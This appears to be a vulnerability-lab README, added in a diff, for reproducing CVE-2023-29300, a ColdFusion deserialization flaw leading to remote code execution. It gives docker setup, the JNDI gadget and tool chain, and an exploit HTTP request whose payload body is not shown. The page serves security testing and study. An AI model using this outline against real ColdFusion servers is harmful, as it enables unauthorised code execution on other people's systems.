+# Adobe ColdFusion XML Deserialization Leads to RCE (CVE-2023-29300)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Adobe ColdFusion is a commercial rapid web-application development computing platform created by J. J. Allaire in 1995.
+
+Adobe ColdFusion versions 2018 Update 16 (and earlier), 2021 Update 6 (and earlier) and 2023.0.0.330468 (and earlier) are affected by a deserialization of untrusted data vulnerability. Attacker is able to call arbitrary setter function and execute arbitrary commands eventually.

+
+## Vulnerable environment
+
+Start a Adobe ColdFusion 2018.0.15:
+
+```
+docker compose up -d
+```
+
+After a few minutes wait, visit `http://your-ip:8500/CFIDE/administrator/index.cfm` with password `vulhub`, you can install the Adobe ColdFusion successfully.
+
+## Exploit
+
+To exploit this issue, you have to find a valid gadget to execute arbitrary code in ColdFusion server. The most common gadget is `com.sun.rowset.JdbcRowSetImpl` that uses the JNDI injection to execute the command.
+
+We utilize the [Java Chains](https://github.com/vulhub/java-chains) tool for vulnerability reproduction. To get started with Java Chains, please visit the [Quick Start](https://java-chains.vulhub.org/docs/guide) guide.  Then, following the instructions in the screenshot below, generate a payload based on the `CommonsBeanutils1` exploit chain.

+
+Then, send the following request to ColdFusion server (replace with your LDAP server address):
+
+```
+POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/1.1
+Host: localhost
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en-US;q=0.9,en;q=0.8

+```
+
+As you can see, the `touch /tmp/success` is executed successfully:
